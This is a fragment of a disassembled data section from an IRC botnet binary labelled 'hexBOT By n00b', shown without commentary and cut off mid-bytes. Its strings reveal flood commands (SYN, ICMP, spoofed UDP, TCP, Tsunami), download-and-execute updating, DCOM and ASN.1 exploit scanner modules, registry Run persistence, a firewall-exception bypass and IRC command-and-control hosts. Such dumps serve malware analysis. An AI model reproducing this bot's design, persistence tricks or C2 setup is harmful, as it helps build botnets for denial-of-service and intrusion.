unk_41F1F0 db 2 ; DATA XREF: sub_4058B9+C2o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 49h ; I db 63h, 6Dh, 70h db 3 db 31h, 32h, 5Dh db 0Fh db 3, 31h, 35h aSetsockoptFail db ' setsockopt() failed, returned %d',0 align 4 unk_41F228 db 2 ; DATA XREF: sub_4058B9+49o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 49h ; I db 63h, 6Dh, 70h db 3 db 31h, 32h, 5Dh db 0Fh db 3, 31h, 35h aSocketFailedRe db ' socket() failed, returned %d',0 align 4 dword_41F25C dd 32310302h, 3531035Bh, 676E6950h, 5D323103h, 3531030Fh ; DATA XREF: sub_405CA0+13Co dd 6E696620h, 65687369h, 65732064h, 6E69646Eh, 69702067h dd 2073676Eh, 3206F74h, 73253231h, 0 dword_41F294 dd 32310302h, 3531035Bh, 676E6950h, 5D323103h, 3531030Fh ; DATA XREF: sub_405CA0+6Eo dd 72726520h, 7320726Fh, 69646E65h, 7020676Eh, 73676E69h dd 206F7420h, 25323103h, 73h dword_41F2C8 dd 32310302h, 3531035Bh, 3706455h, 0F5D3231h, 20353103h ; DATA XREF: sub_405E2C+1C6o dd 696E6966h, 64656873h, 6E657320h, 676E6964h, 63617020h dd 7374656Bh, 206F7420h, 25323103h, 73h dword_41F300 dd 32310302h, 3531035Bh, 3706455h, 0F5D3231h, 20353103h ; DATA XREF: sub_405E2C+8Eo dd 6F727265h, 65732072h, 6E69646Eh, 61702067h, 74656B63h dd 6F742073h, 32310320h, 7325h dword_41F334 dd 32310302h, 3531035Bh, 53796B53h, 31036E79h, 30F5D32h ; DATA XREF: sub_406042+4Bo dd 44203531h, 20656E6Fh, 68746977h, 6F6C6620h, 320646Fh dd 25283231h, 2F424B69h, 29636573h, 0 dword_41F36C dd 32310302h, 3531035Bh, 36E7953h, 0F5D3231h, 20353103h ; DATA XREF: sub_4061E8+4Bo dd 656E6F44h, 74697720h, 6C662068h, 20646F6Fh, 28323103h dd 424B6925h, 6365732Fh, 2E29h dword_41F3A0 dd 32310302h, 3531035Bh, 36E7953h, 0F5D3231h, 20353103h ; DATA XREF: sub_406287+27Do dd 646E6553h, 72726520h, 203A726Fh, 25323103h, 2E64h dword_41F3C8 dd 32310302h, 3531035Bh, 67726154h, 31033361h, 30F5D32h ; DATA XREF: sub_406593+4Fo a15DoneWithFloo db '15 Done with flood.',0 dword_41F3F0 dd 32310302h, 3531035Bh, 46706354h, 646F6F6Ch, 5D323103h ; DATA XREF: sub_406851+5Eo dd 3531030Fh, 6E6F6420h, 69772065h, 66206874h, 646F6F6Ch dd 20746120h, 25323103h, 2F424B69h, 636573h dword_41F428 dd 32310302h, 3531035Bh, 46706354h, 646F6F6Ch, 5D323103h ; DATA XREF: sub_406906+302o dd 3531030Fh, 6E657320h, 72652064h, 3A726F72h, 32310320h dd 6425h dword_41F454 dd 2E706374h, 6E6172h ; DATA XREF: sub_406906:loc_406A32o ; sub_40997B+16F8o dword_41F45C dd 2E706374h, 6B6361h ; DATA XREF: sub_406906:loc_406A16o ; sub_40997B+16E1o dword_41F464 dd 2E706374h, 6E7973h ; DATA XREF: sub_406906+F1o ; sub_40997B+16CAo dword_41F46C dd 32310302h, 3531035Bh, 6E757354h, 3696D61h, 0F5D3231h ; DATA XREF: sub_406CED+66o dd 20353103h, 656E6F44h, 74697720h, 6C662068h, 2C646F6Fh dd 32310320h, 3206425h, 61703531h, 74656B63h, 65732073h dd 2E746Eh unk_41F4AC db 2 ; DATA XREF: sub_406FF0+4Do db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 57h ; W db 69h, 73h, 64h db 6Fh ; o db 6Dh, 55h, 64h db 70h ; p db 3, 31h, 32h db 5Dh ; ] db 0Fh, 3, 31h a5StartingWisdo db '5 Starting Wisdom spoofed UDP flood thread.',0 dword_41F4F0 dd 32310302h, 3531035Bh, 64736957h, 64556D6Fh, 32310370h ; DATA XREF: sub_407067+345o dd 31030F5Dh, 72452035h, 20726F72h, 646E6573h, 20676E69h dd 6B636170h, 20737465h, 3206F74h, 73253231h, 2E353103h dd 78616520h, 434F533Dh, 5F54454Bh, 4F525245h, 57202C52h dd 65474153h, 73614C74h, 72724574h, 2928726Fh, 3231033Dh dd 31036425h, 73202E35h, 6F657A69h, 75622866h, 72656666h dd 203D2029h, 25323103h, 35310364h, 6150202Eh, 74656B63h dd 65732073h, 7320746Eh, 73656375h, 6C756673h, 3D20796Ch dd 32310320h, 2E6425h dword_41F598 dd 32310302h, 3531035Bh, 64736957h, 64556D6Fh, 32310370h ; DATA XREF: sub_407067+2F3o dd 31030F5Dh, 69462035h, 6873696Eh, 73206465h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 3103206Fh, 3732532h dd 202E3531h, 746E6553h, 32310320h, 3206425h, 61703531h dd 74656B63h, 2E297328h, 32310320h, 4D64257Eh, 31032042h dd 20666F35h, 61746164h, 6E657320h, 31032074h, 257E2832h dd 732F4B64h, 2E29h dword_41F618 dd 32310302h, 3531035Bh, 64736957h, 64556D6Fh, 32310370h ; DATA XREF: sub_407067+CCo dd 31030F5Dh, 65532035h, 6E69646Eh, 61702067h, 74656B63h dd 6F742073h, 32310320h, 31037325h, 2E2E2E35h, 0 dword_41F654 dd 32310302h, 3531035Bh, 64736957h, 64556D6Fh, 32310370h ; DATA XREF: sub_407067+80o dd 31030F5Dh, 6E492035h, 696C6176h, 61742064h, 74656772h dd 2E504920h, 41535720h, 4C746547h, 45747361h, 726F7272h dd 72202928h, 72757465h, 320736Eh, 64253231h, 2Eh dword_41F6A4 dd 32310302h, 3531035Bh, 64736957h, 64556D6Fh, 32310370h ; DATA XREF: sub_407067+63o dd 31030F5Dh, 72452035h, 20726F72h, 6C6C6163h, 20676E69h dd 73746573h, 6F6B636Fh, 29287470h, 5357202Eh, 74654741h dd 7473614Ch, 6F727245h, 20292872h, 75746572h, 20736E72h dd 25323103h, 2E64h unk_41F6FC db 2 ; DATA XREF: sub_407067+2Ao db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 57h ; W db 69h, 73h, 64h db 6Fh ; o db 6Dh, 55h, 64h db 70h ; p db 3, 31h, 32h db 5Dh ; ] db 0Fh, 3, 31h a5ErrorCallingS db '5 Error calling socket().',0 align 10h dword_41F730 dd 32310302h, 3531035Bh, 6B6E6F57h, 5D323103h, 3531030Fh ; DATA XREF: sub_4073B3+60o dd 6E6F4420h, 69772065h, 66206874h, 646F6F6Ch, 6F70202Ch dd 20737472h, 3A746968h, 32310320h, 7325h dword_41F768 dd 64257325h, 20h ; DATA XREF: sub_407550+204o dword_41F770 dd 20h ; DATA XREF: sub_407550+1C8o ; sub_40997B+A4o ... dword_41F774 dd 25323103h, 25202E64h, 203D2073h, 25353103h, 73h ; DATA XREF: sub_4079D6+35o dword_41F788 dd 32310302h, 31035B2Eh, 696C4135h, 4C207361h, 3747369h ; DATA XREF: sub_4079D6+10o dd 2E5D3231h, 0 a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_407A4E+60o align 4 dword_41F7C8 dd 32310302h, 3531035Bh, 73676F4Ch, 5D323103h, 3103200Fh ; DATA XREF: sub_407AEE+1Ao dd 656C4335h, 64657261h, 2Eh unk_41F7E8 db 2 ; DATA XREF: sub_407B2E+DCo db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 4Ch ; L db 6Fh, 67h, 73h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5ListComplete_ db '5 List Complete.',0 align 10h dword_41F810 dd 32310302h, 3531035Bh, 73676F4Ch, 5D323103h, 3103200Fh ; DATA XREF: sub_407B2E+3Fo dd 67654235h, 6E69h, 0 dword_41F830 dd 80000002h, 41FCE8h, 80000002h, 41FD18h, 80000001h, 41FD50h ; DATA XREF: sub_407C5D+7o dword_41F848 dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h ; DATA XREF: sub_407C5D+63o ; sub_407CCD+4AFo dd 3103200Fh, 64614235h, 4C525520h, 726F202Ch, 534E4420h dd 72724520h, 203A726Fh, 25323103h, 35310373h, 2Eh dword_41F884 dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h ; DATA XREF: sub_407CCD+4A1o dd 3103200Fh, 64705535h, 20657461h, 6C696166h, 203A6465h dd 6F727245h, 78652072h, 74756365h, 20676E69h, 656C6966h dd 3103203Ah, 3732532h, 2E3531h dword_41F8CC dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h ; DATA XREF: sub_407CCD+3E5o dd 3103200Fh, 776F4435h, 616F6C6Eh, 20646564h, 25323103h dd 4B66312Eh, 35310342h, 206F7420h, 25323103h, 35310373h dd 25204020h, 4B66312Eh, 65732F42h, 31032E63h, 70552032h dd 69746164h, 2E676Eh unk_41F924 db 2 ; DATA XREF: sub_407CCD+35Co db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 44h ; D db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h db 35h ; 5 db 4Fh, 70h, 65h db 6Eh ; n db 65h, 64h, 3Ah db 20h db 3, 31h, 32h db 25h ; % db 73h, 3, 31h a5_NowRemovingB db '5. Now removing bot...',0 align 4 dword_41F964 dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h ; DATA XREF: sub_407CCD+2F6o dd 3103200Fh, 65704F35h, 3A64656Eh, 32310320h, 2E7325h aOpen db 'open',0 ; DATA XREF: sub_407CCD+2CAo align 4 unk_41F994 db 2 ; DATA XREF: sub_407CCD+286o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 44h ; D db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h db 35h ; 5 db 44h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 65h, 64h, 20h db 3 db 31h, 32h, 25h db 2Eh ; . db 31h, 66h, 20h db 4Bh ; K db 42h, 3, 31h db 35h ; 5 db 20h, 74h, 6Fh db 20h db 3, 31h, 32h db 25h ; % db 73h, 3, 31h a5@_1fKbSec_ db '5 @ %.1f KB/sec.',0 align 4 dword_41F9E4 dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h ; DATA XREF: sub_407CCD+1D8o dd 3103200Fh, 6C694635h, 7A697365h, 73692065h, 636E6920h dd 6572726Fh, 203A7463h, 28323103h, 21206425h, 6425203Dh dd 2E29h dword_41FA24 dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h ; DATA XREF: sub_407CCD+195o dd 3103200Fh, 64705535h, 3A657461h, 32310320h, 3207325h a15DkbTransferr db '15(%dKB transferred).',0 align 4 unk_41FA64 db 2 ; DATA XREF: sub_407CCD+183o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 44h ; D db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h db 35h ; 5 db 46h, 69h, 6Ch db 65h ; e db 20h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 64h, 3Ah, 20h db 3 db 31h, 32h, 25h db 73h ; s db 20h, 3, 31h a5DkbTransferre db '5(%dKB transferred).',0 align 4 dword_41FAAC dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h ; DATA XREF: sub_407CCD+77o dd 3103200Fh, 756F4335h, 276E646Ch, 706F2074h, 66206E65h dd 3A656C69h, 32310320h, 2E7325h dword_41FAE0 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_408318+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41FB2C dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_408318+E3o ; --------------------------------------------------------------------------- loc_41FB48: ; DATA XREF: sub_408318+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_41FB5C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_408318+13Fo dword_41FB70 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_4084CC+5Do dword_41FB7C dd 7325h ; DATA XREF: sub_4084CC+3Do ; sub_40997B+248Eo ... aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_4084CC+16o ; sub_40997B+605o aNotice db 'NOTICE',0 ; DATA XREF: sub_4084CC+Fo ; sub_40997B+611o align 10h aA: ; DATA XREF: sub_408F2E+29o unicode 0, <€>,0 dd 0Fh dup(0) aS02x db '%s%02X',0 ; DATA XREF: sub_408FD8+44o align 4 dword_41FBD8 dd 1B58h ; DATA XREF: sub_409034+441r ; sub_409034+4F4r dword_41FBDC dd 0C8Bh ; DATA XREF: sub_409034+540r dd 45h dword_41FBE4 dd 1 ; DATA XREF: sub_40997B+647r dword_41FBE8 dd 1 ; DATA XREF: sub_409034+142r dword_41FBEC dd 1 ; DATA XREF: sub_404CE2+Cr ; sub_409034+351r word_41FBF0 dw 7C7h ; DATA XREF: sub_401000+30r ; sub_401294+Dr byte_41FBF2 db 2Eh ; DATA XREF: sub_4081DB:loc_4081E7r ; sub_40997B+6B2r ... align 4 dword_41FBF4 dd 6 ; DATA XREF: sub_40DE6E+2Br ; sub_40DE6E+51r ... dword_41FBF8 dd 2 ; DATA XREF: sub_4095BB+A8r ; sub_40997B+25Er ... dword_41FBFC dd 1 ; DATA XREF: sub_409034:loc_4093A2r dword_41FC00 dd 1 ; DATA XREF: sub_405076+35Bw ; sub_4095BB+E3r align 8 aDcom135_0 db 'dcom135',0 db 2 dup(0) byte_41FC12 db 1 ; DATA XREF: sub_40997B:loc_40C8FEr ; sub_40997B+2F88o aAsn445_0 db 'asn445',0 align 4 dd 306E0100h, 6230h, 0 dd 1, 2 dup(0) aHortsfor db 'hortsfor',0 ; DATA XREF: sub_409034+5Ao ; sub_40997B+1B9Eo ... align 10h aHexbotByN00b db 'hexBOT By n00b',0 ; DATA XREF: sub_40997B:loc_40D925o align 10h aCool db 'cool',0 ; DATA XREF: sub_40997B+722o ; sub_40997B+984o align 4 aSaber4_ircqfor db 'saber4.ircqforum.com',0 ; DATA XREF: sub_409034+42Co ; sub_409034+4E5o align 10h aFaak db '#FAAK#',0 ; DATA XREF: sub_409034+44Do ; sub_409034+4FBo align 4 aSaad_ db 'saad.',0 ; DATA XREF: sub_409034+464o ; sub_409034+50Do align 10h byte_41FC80 db 73h ; DATA XREF: sub_409034:loc_409557r ; sub_409034+531o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 aFaak_0 db '#FAAK#',0 ; DATA XREF: sub_409034+547o align 4 aSaad__0 db 'saad.',0 ; DATA XREF: sub_409034+559o align 4 byte_41FCA4 db 64h ; DATA XREF: sub_401000+7Ao ; .packed:00402240o ... db 7Ah, 70h, 6Eh dd 6D756461h, 78652E6Eh, 65h aInternet db 'Internet',0 ; DATA XREF: sub_407C5D+Eo ; sub_409034+37Co align 10h aN00b db 'n00b-',0 ; DATA XREF: sub_40DE6E+12o align 4 aXtIb db '-xt+iB',0 ; DATA XREF: sub_40997B+4142o align 10h aF db '#f',0 ; DATA XREF: sub_40997B:loc_40C087o ; sub_40997B+325Ao align 4 aF_0 db '#f',0 ; DATA XREF: .packed:00402C0Ao align 4 aF_1 db '#f',0 ; DATA XREF: sub_40997B+2262o ; sub_40997B+227Co ... align 4 aF_2 db '#f',0 ; DATA XREF: sub_405076+336o align 10h off_41FCE0 dd offset a@admin_com ; DATA XREF: sub_40997B:loc_40A283o ; "*@admin.com" off_41FCE4 dd offset aHexbotByN00bOn ; DATA XREF: sub_40997B+85Ar ; sub_40997B+924o ; "hexBOT By n00b on DALnet" aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 10h db 53h aOftwareMicro_0 db 'oftware\Microsoft\OLE',0 align 4 aSystemCurren_0 db 'SYSTEM\CurrentControlSet\Control\Lsa',0 align 10h dword_41FD90 dd 10h ; DATA XREF: sub_40997B+A18r ; sub_40997B+A4Ar aHexbotByN00bOn db 'hexBOT By n00b on DALnet',0 ; DATA XREF: .packed:off_41FCE4o align 10h a@admin_com db '*@admin.com',0 ; DATA XREF: .packed:off_41FCE0o dword_41FDBC dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_409034+3F0o dd 746F4235h, 61747320h, 64657472h, 2Eh aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal' ; DATA XREF: sub_409034+3A9o db 'lPolicy\StandardProfile\AuthorizedApplications\List',0 align 4 aSEnabledS db '%s:*:Enabled:%s',0 ; DATA XREF: sub_409034+382o aSDS db '%s %d "%s"',0 ; DATA XREF: sub_409034+286o align 4 aSS_0 db '%s\%s',0 ; DATA XREF: sub_409034+189o ; sub_409034+343o align 4 aSS_1 db '%s%s',0 ; DATA XREF: sub_409034+10Do align 4 dword_41FE84 dd 32310302h, 3531035Bh, 63746150h, 3726568h, 0F5D3231h ; DATA XREF: sub_4095BB+168o dd 35310320h, 49706354h, 61502070h, 65686374h, 2E72h aSDriversTcpip_ db '%s\drivers\tcpip.sys',0 ; DATA XREF: sub_4095BB+11Do align 4 dword_41FEC4 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_4095BB+D9o dd 6E6F4335h, 7463656Eh, 74206465h, 3103206Fh, 2E732532h dd 0 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_409802+63o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_409802+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40997B+414Ao align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40997B+4132o align 4 dword_41FF38 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+411Bo dd 6E615235h, 206D6F64h, 6B63696Eh, 61686320h, 3A65676Eh dd 32310320h, 7325h dword_41FF68 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+4018o dd 55202035h, 20726573h, 25323103h, 35310373h, 746F6E20h dd 676F6C20h, 676E6967h, 74756F20h, 32310320h, 3531032Dh dd 32505320h, 786F6220h, 2Eh dword_41FFB0 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+3FAFo dd 732535h dword_41FFC8 dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 0F5Dh ; DATA XREF: sub_40997B+3FA0o dword_41FFDC dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40997B+3F9Bo dword_41FFEC dd 32310302h, 3531035Bh, 64736957h, 31036D6Fh, 200F5D32h ; DATA XREF: sub_40997B+3F6Ao dd 52353103h, 6E6F6365h, 7463656Eh, 2E676E69h, 0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40997B:loc_40D8DAo align 4 dword_42002C dd 32310302h, 3531035Bh, 64736957h, 31036D6Fh, 200F5D32h ; DATA XREF: sub_40997B+3F4Ao dd 44353103h, 6F637369h, 63656E6Eh, 676E6974h, 2Eh aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40997B:loc_40D8BAo align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40997B:loc_40D8A6o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40997B+3F1Bo align 4 dword_420088 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+3ECBo dd 61745335h, 3A737574h, 61655220h, 202E7964h, 20746F42h dd 69747055h, 203A656Dh, 25323103h, 2E73h dword_4200C0 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+3EB7o dd 746F4235h, 3A444920h, 32310320h, 2E7325h aRestartFailed_ db 'Restart failed. Couldn',27h,'t open file: %s',0 ; DATA XREF: sub_40997B+3EA8o align 4 aCloneRunning__ db 'Clone running... now restarting...',0 ; DATA XREF: sub_40997B+3E87o align 10h dword_420130 dd 32310302h, 3531035Bh, 65726854h, 3736461h, 0F5D3231h ; DATA XREF: sub_40997B+3DEAo dd 35310320h, 6C696146h, 74206465h, 7473206Fh, 20747261h dd 7473696Ch, 72687420h, 2C646165h, 72726520h, 203A726Fh dd 25323103h, 35310364h, 2Eh dword_420178 dd 32310302h, 3531035Bh, 65726854h, 3736461h, 0F5D3231h ; DATA XREF: sub_40997B+3D79o dd 35310320h, 7473694Ch, 72687420h, 73646165h, 2Eh dword_4201A0 dd 627573h ; DATA XREF: sub_40997B+3D53o dword_4201A4 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+3D07o dd 696C4135h, 6C207361h, 2E747369h, 0 dword_4201C8 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+3CEEo dd 69614635h, 2064656Ch, 73206F74h, 74726174h, 73696C20h dd 676E6974h, 72687420h, 2C646165h, 72726520h, 203A726Fh dd 25323103h, 35310364h, 2Eh dword_420210 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+3C79o dd 73694C35h, 676E6974h, 676F6C20h, 2Eh dword_420234 dd 32310302h, 3531035Bh, 4974654Eh, 36F666Eh, 0F5D3231h ; DATA XREF: sub_40997B+3BEAo dd 35310320h, 7774654Eh, 206B726Fh, 6F666E49h, 2Eh dword_42025C dd 32310302h, 3531035Bh, 49737953h, 36F666Eh, 0F5D3231h ; DATA XREF: sub_40997B+3BB4o dd 35310320h, 74737953h, 49206D65h, 2E6F666Eh, 0 dword_420284 dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh ; DATA XREF: sub_40997B+3B75o dd 61463531h, 64656C69h, 206F7420h, 72617473h, 696C2074h dd 6E697473h, 68742067h, 64616572h, 7265202Ch, 3A726F72h dd 32310320h, 31036425h, 2E35h dword_4202CC dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh ; DATA XREF: sub_40997B+3B04o dd 72503531h, 6563636Fh, 6C207373h, 2E747369h, 0 aFull db 'full',0 ; DATA XREF: sub_40997B+3AE4o align 4 dword_4202FC dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh ; DATA XREF: sub_40997B+3A8Fo a15alreadyRunni db '15Already running.',0 align 4 dword_420324 dd 32310302h, 3531035Bh, 706D6349h, 6F6F6C46h, 32310364h ; DATA XREF: sub_40997B:loc_40D3D9o dd 3200F5Dh a15invalidFlood db '15Invalid flood time must be greater than 0.',0 align 4 dword_42036C dd 32310302h, 3531035Bh, 706D6349h, 6F6F6C46h, 32310364h ; DATA XREF: sub_40997B+3A54o dd 3200F5Dh, 61463531h, 64656C69h, 206F7420h, 72617473h dd 6C662074h, 20646F6Fh, 65726874h, 202C6461h, 6F727265h dd 3203A72h, 64253231h, 2E353103h, 0 dword_4203B8 dd 32310302h, 3531035Bh, 706D6349h, 6F6F6C46h, 32310364h ; DATA XREF: sub_40997B+39E0o dd 3200F5Dh, 6C463531h, 69646F6Fh, 203A676Eh, 28323103h dd 3297325h, 66203531h, 320726Fh, 73253231h, 20353103h dd 6F636573h, 2E73646Eh, 0 dword_420400 dd 32310302h, 3531035Bh, 67726154h, 31033361h, 200F5D32h ; DATA XREF: sub_40997B+394Eo dd 46353103h, 656C6961h, 6F742064h, 61747320h, 66207472h dd 646F6F6Ch, 72687420h, 2C646165h, 72726520h, 203A726Fh dd 25323103h, 35310364h, 2Eh dword_420448 dd 32310302h, 3531035Bh, 67726154h, 31033361h, 200F5D32h ; DATA XREF: sub_40997B+38DFo dd 46353103h, 646F6F6Ch, 20676E69h, 25323103h, 35310373h dd 726F6620h, 32310320h, 31037325h, 65732035h, 646E6F63h dd 2E73h dword_420488 dd 32310302h, 3531035Bh, 6E757354h, 3696D61h, 0F5D3231h ; DATA XREF: sub_40997B+386Do dd 35310320h, 6C696146h, 74206465h, 7473206Fh, 20747261h dd 6F6F6C66h, 68742064h, 64616572h, 7265202Ch, 3A726F72h dd 32310320h, 31036425h, 2E35h unk_4204D0 db 2 ; DATA XREF: sub_40997B+37FEo db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 54h ; T db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 3 db 31h ; 1 db 32h, 5Dh, 0Fh db 20h db 3, 31h, 35h db 54h ; T db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 20h db 68h ; h db 65h, 61h, 64h db 69h ; i db 6Eh, 67h, 20h db 66h ; f db 6Fh, 72h, 20h db 3 a12SSSeconds_ db '12%s (%s seconds).',0 dword_420510 dd 32310302h, 3531035Bh, 46706354h, 646F6F6Ch, 5D323103h ; DATA XREF: sub_40997B+378Co dd 3103200Fh, 69614635h, 2064656Ch, 73206F74h, 74726174h dd 6F6C6620h, 7420646Fh, 61657268h, 65202C64h, 726F7272h dd 3103203Ah, 3642532h, 2E3531h dword_420558 dd 32310302h, 3531035Bh, 46706354h, 646F6F6Ch, 5D323103h ; DATA XREF: sub_40997B+371Do dd 3103200Fh, 6F6C4635h, 6E69646Fh, 3203A67h, 25283231h dd 73253A73h, 35310329h, 726F6620h, 32310320h, 31037325h dd 65732035h, 646E6F63h, 2E73h dword_4205A0 dd 32310302h, 3531035Bh, 36E7953h, 0F5D3231h, 35310320h ; DATA XREF: sub_40997B+367Eo dd 6C696146h, 74206465h, 7473206Fh, 20747261h, 6F6F6C66h dd 68742064h, 64616572h, 7265202Ch, 3A726F72h, 32310320h dd 31036425h, 2E35h dword_4205E4 dd 32310302h, 3531035Bh, 36E7953h, 0F5D3231h, 35310320h ; DATA XREF: sub_40997B+360Fo dd 6F6F6C46h, 676E6964h, 3103203Ah, 73252832h, 2973253Ah dd 20353103h, 20726F66h, 25323103h, 35310373h, 63657320h dd 73646E6Fh, 2Eh dword_420628 dd 32310302h, 3531035Bh, 6B6E6F57h, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+3581o dd 69614635h, 2064656Ch, 73206F74h, 74726174h, 6F6C6620h dd 7420646Fh, 61657268h, 65202C64h, 726F7272h, 3103203Ah dd 3642532h, 2E3531h dword_42066C dd 32310302h, 3531035Bh, 6B6E6F57h, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+3512o dd 6F6C4635h, 6E69646Fh, 31032067h, 3732532h, 66203531h dd 320726Fh, 73253231h, 20353103h, 6F636573h, 2073646Eh dd 6E697375h, 65642067h, 2079616Ch, 25323103h, 35310373h dd 2E736D20h, 0 dword_4206C4 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+3458o dd 74705535h, 3A656D69h, 32310320h, 2E7325h unk_4206E8 db 2 ; DATA XREF: sub_40997B:loc_40CD78o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 46h ; F db 6Ch, 75h, 73h db 68h ; h db 44h, 6Eh, 73h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5failedToLoadD db '5Failed to load dnsapi.dll.',0 unk_42071C db 2 ; DATA XREF: sub_40997B:loc_40CD5Do db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 46h ; F db 6Ch, 75h, 73h db 68h ; h db 44h, 6Eh, 73h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5failedToFlush db '5Failed to flush DNS cache.',0 unk_420750 db 2 ; DATA XREF: sub_40997B+33DBo db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 46h ; F db 6Ch, 75h, 73h db 68h ; h db 44h, 6Eh, 73h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5dnsCacheFlush db '5DNS cache flushed.',0 dword_42077C dd 32310302h, 3531035Bh, 6E616353h, 36C6C41h, 0F5D3231h ; DATA XREF: sub_40997B+3337o dd 35310320h, 6C696146h, 74206465h, 7473206Fh, 20747261h dd 6E616373h, 72687420h, 2C646165h, 72726520h, 203A726Fh dd 25323103h, 35310364h, 2Eh dword_4207C4 dd 32310302h, 3531035Bh, 6E616353h, 36C6C41h, 0F5D3231h ; DATA XREF: sub_40997B+32C6o dd 35310320h, 50207325h, 2074726Fh, 6E616353h, 61747320h dd 64657472h, 206E6F20h, 25323103h, 64253A73h, 20353103h dd 68746977h, 64206120h, 79616C65h, 20666F20h, 25323103h dd 35310364h, 63657320h, 73646E6Fh, 726F6620h, 32310320h dd 31036425h, 696D2035h, 6574756Eh, 73752073h, 20676E69h dd 25323103h, 35310364h, 72687420h, 73646165h, 2Eh unk_420850 db 2 ; DATA XREF: sub_40997B+2FCCo db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 53h ; S db 63h, 61h, 6Eh db 41h ; A db 2 dup(6Ch), 3 db 31h 